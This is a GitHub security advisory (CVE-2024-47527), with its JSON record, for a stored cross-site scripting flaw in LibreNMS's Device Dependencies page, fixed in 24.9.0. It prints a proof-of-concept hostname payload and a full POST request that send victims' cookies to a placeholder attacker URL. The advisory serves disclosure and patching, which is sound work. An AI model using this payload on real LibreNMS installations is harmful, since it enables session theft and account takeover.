ghsa-rwwc-2v8q-gc9v
Vulnerability from github
5.0 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L/E:P
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details
The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.
For example, the following payload can be used to exploit the vulnerability:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"
When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.
The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.
This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74
PoC
- Add a new device using the following payload for the hostname:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"
- Save the device.
- Navigate to the device dependencies page.
- Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.
Example Request: ```http POST /addhost HTTP/1.1 Host: X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie:
_token=&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit= ```
Impact
It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
{ "affected": [ { "package": { "ecosystem": "Packagist", "name": "librenms/librenms" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "24.9.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-47527" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2024-10-01T20:31:04Z", "nvd_published_at": "2024-10-01T21:15:07Z", "severity": "MODERATE" }, "details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Device Dependencies\" feature allows authenticated users to inject arbitrary JavaScript through the device name (\"hostname\" parameter). This vulnerability can lead to the execution of malicious code in the context of other users\u0027 sessions, potentially compromising their accounts and allowing unauthorized actions.\n\n### Details\nThe vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.\n\nFor example, the following payload can be used to exploit the vulnerability:\n```t\u0027\u0027 autofocus onfocus=\"document.location=\u0027https://\u003cattacker_url\u003e/?c=\u0027+document.cookie\"```\n\nWhen the device dependencies page is loaded, this payload triggers the JavaScript, causing the user\u0027s browser to redirect to the attacker\u0027s website with any non-httponly cookies in the URL.\n\nThe root cause of this vulnerability is the application\u0027s failure to sanitize the row.hostname value before including it in the HTML output. \n\nThis is evident in the following line of code:\nhttps://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74\n\n### PoC\n1. Add a new device using the following payload for the hostname:\n```t\u0027\u0027 autofocus onfocus=\"document.location=\u0027https://\u003cattacker_url\u003e/?c=\u0027+document.cookie\"```\n2. Save the device.\n3. Navigate to the device dependencies page.\n4. Observe that the injected script executes, redirecting the user to the attacker\u0027s website with any non-httponly cookies included in the URL.\n\nExample Request:\n```http\nPOST /addhost HTTP/1.1\nHost: \u003cyour_host\u003e\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCookie: \u003cyour_cookie\u003e\n\n_token=\u003cyour_token\u003e\u0026hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%\u003cattacker_url\u003e%2F%3Fc%3D%27%2Bdocument.cookie%22\u0026sysName=\u0026hardware=\u0026os=\u0026os_id=\u0026snmpver=v2c\u0026port=\u0026transport=udp\u0026port_assoc_mode=ifIndex\u0026community=\u0026authlevel=noAuthNoPriv\u0026authname=\u0026authpass=\u0026authalgo=SHA\u0026cryptopass=\u0026cryptoalgo=AES\u0026force_add=on\u0026Submit=\n```\n\n### Impact\nIt could allow authenticated users to execute arbitrary JavaScript code in the context of other users\u0027 sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.\n", "id": "GHSA-rwwc-2v8q-gc9v", "modified": "2024-10-01T21:53:14Z", "published": "2024-10-01T20:31:04Z", "references": [ { "type": "WEB", "url": "https://github.com/librenms/librenms/security/advisories/GHSA-rwwc-2v8q-gc9v" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47527" }, { "type": "WEB", "url": "https://github.com/librenms/librenms/commit/36b38a50cc10d4ed16caab92bdc18ed6abac9685" }, { "type": "PACKAGE", "url": "https://github.com/librenms/librenms" }, { "type": "WEB", "url": "https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L/E:P", "type": "CVSS_V4" } ], "summary": "LibreNMS has Stored Cross-site Scripting vulnerability in \"Device Dependencies\" feature" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.